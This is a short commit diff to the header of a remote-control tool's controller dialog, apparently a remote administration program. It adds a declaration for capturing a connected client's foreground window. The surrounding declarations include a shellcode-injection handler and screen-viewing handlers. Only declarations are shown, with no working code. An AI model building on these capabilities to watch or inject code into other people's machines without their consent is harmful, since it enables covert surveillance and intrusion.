Feat: Support viewing active window via online-host popup menu

server/2015Remote/2015RemoteDlg.h

@@ -381,7 +381,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[59];  // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
+    CBitmap m_bmOnline[60];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -511,6 +511,7 @@ public:
     afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
+    void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
     afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
     LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
     afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
@@ -633,4 +634,5 @@ public:
     afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
     afx_msg void OnCopyClientInfo();
+    afx_msg void OnOnlineActiveWnd();
 };